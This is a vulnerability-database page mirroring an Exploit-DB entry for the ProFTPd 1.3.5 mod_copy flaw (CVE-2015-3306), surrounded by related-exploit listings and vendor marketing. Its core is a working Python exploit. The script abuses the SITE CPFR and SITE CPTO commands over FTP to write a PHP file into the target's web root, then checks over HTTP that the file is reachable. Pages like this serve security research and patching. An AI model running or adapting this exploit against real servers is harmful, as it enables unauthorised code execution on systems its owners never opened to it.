Lucene search
+L

ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)

🗓️ 26 May 2021 00:00:00Reported by Shellbr3akType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 2203 Views

ProFTPd 1.3.5 'mod_copy' Remote Command Executio

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Access Control in Proftpd
2 Nov 202520:36
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-1999-0368
17 Feb 202615:41
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Proftpd
7 Sep 202620:36
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Proftpd
3 Jun 202613:18
–githubexploit
githubexploit
GithubExploit
cybersecurity-exam-report
10 Jul 202609:49
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Proftpd
8 Jan 201714:19
–githubexploit
githubexploit
GithubExploit
CY376_-AHENKORA_JOSEPH-
3 Aug 202601:43
–githubexploit
zdt
zdt
ProFTPd 1.3.5 - Remote Command Execution Exploit
21 Apr 201500:00
–zdt
zdt
zdt
ProFTPD 1.3.5 Mod_Copy Command Execution Exploit
10 Jun 201500:00
–zdt
zdt
zdt
ProFTPd 1.3.5 - (mod_copy) Remote Command Execution Exploit (2)
26 May 202100:00
–zdt
Rows per page
# Exploit Title: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
# Date: 25/05/2021
# Exploit Author: Shellbr3ak
# Version: 1.3.5
# Tested on: Ubuntu 16.04.6 LTS
# CVE : CVE-2015-3306

#!/usr/bin/env python3

import sys
import socket
import requests

def exploit(client, target):
    client.connect((target,21)) # Connecting to the target server
    banner = client.recv(74)
    print(banner.decode())
    client.send(b'site cpfr /etc/passwd\r\n')
    print(client.recv(1024).decode())
    client.send(b'site cpto <?php phpinfo(); ?>\r\n') # phpinfo() is just a PoC.
    print(client.recv(1024).decode())
    client.send(b'site cpfr /proc/self/fd/3\r\n')
    print(client.recv(1024).decode())
    client.send(b'site cpto /var/www/html/test.php\r\n')
    print(client.recv(1024).decode())
    client.close()
    print('Exploit Completed')

def check(url):
    req = requests.get(url) # Requesting the written PoC php file via HTTP
    if req.status_code == 200:
        print('[+] File Written Successfully')
        print(f'[+] Go to : {url}')
    else:
        print('[!] Something Went Wrong')
        print('[!] Directory might not be writable')

def main():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    target = sys.argv[1]
    exploit(client, target)
    url = 'http://' + target + '/test.php'
    check(url)

if __name__ == '__main__':
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Nov 2021 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 210
EPSS0.96752
2203